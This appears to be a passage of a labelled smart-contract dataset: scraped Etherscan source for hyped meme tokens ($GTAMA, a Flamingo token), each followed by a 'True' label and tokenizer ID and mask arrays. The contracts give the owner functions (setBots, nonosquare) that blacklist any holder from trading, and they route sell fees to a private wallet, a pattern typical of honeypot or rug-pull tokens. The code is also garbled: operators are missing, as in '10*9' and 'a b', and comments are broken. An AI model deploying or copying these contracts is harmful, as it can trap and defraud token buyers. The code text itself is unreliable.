IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2340, 1011, 2756, 1008, 1013, 1013, 1008, 1008, 19204, 1024, 18804, 14971, 2213, 6454, 1024, 18804, 14971, 2213, 2152, 21336, 7876, 2306, 1996, 18804, 16070, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4942, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 4942, 6494, 7542, 2058, 12314, 1000, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 24856, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2022-04-16 / /** Buy $GTAMA To Support UNISWAP and Help Launch The Most Viral UNISWAP Campaigns in The Crypto History! Tg : t.me/godzillatama Website : www.godzillatama.com / pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GodzillaTama is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "$GTAMA"; string private constant _symbol = "$GTAMA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x2fF95FEB758274461966e08A12FBd8b2927c2cc3); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000 10*9; _maxWalletSize = 30000000 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 2385, 1008, 1013, 1013, 1008, 1008, 4965, 1002, 14181, 8067, 2000, 2490, 4895, 2483, 4213, 2361, 1998, 2393, 4888, 1996, 2087, 13434, 4895, 2483, 4213, 2361, 8008, 1999, 1996, 19888, 2080, 2381, 999, 1056, 2290, 1024, 1056, 1012, 2033, 1013, 26631, 28282, 4037, 1024, 7479, 1012, 26631, 28282, 1012, 4012, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1021, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4942, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 4942, 6494, 7542, 2058, 12314, 1000, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1010, 1000, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-06-07 / /** Submitted for verification at Etherscan.io on 2021-06-07 / /* 🦩🦩🦩🦩🦩🦩🦩🦩🦩🦩🦩🦩 🦩 🦩 https://t.me/FlamingoHype 🦩 🦩 🎎Join our growing community to get involved for the launch and get in early doors🚪 this will be a massive morning woody🍆🎎 🦩 🦩🦩🦩🦩🦩🦩🦩🦩🦩🦩🦩🦩 / // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded.s * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract 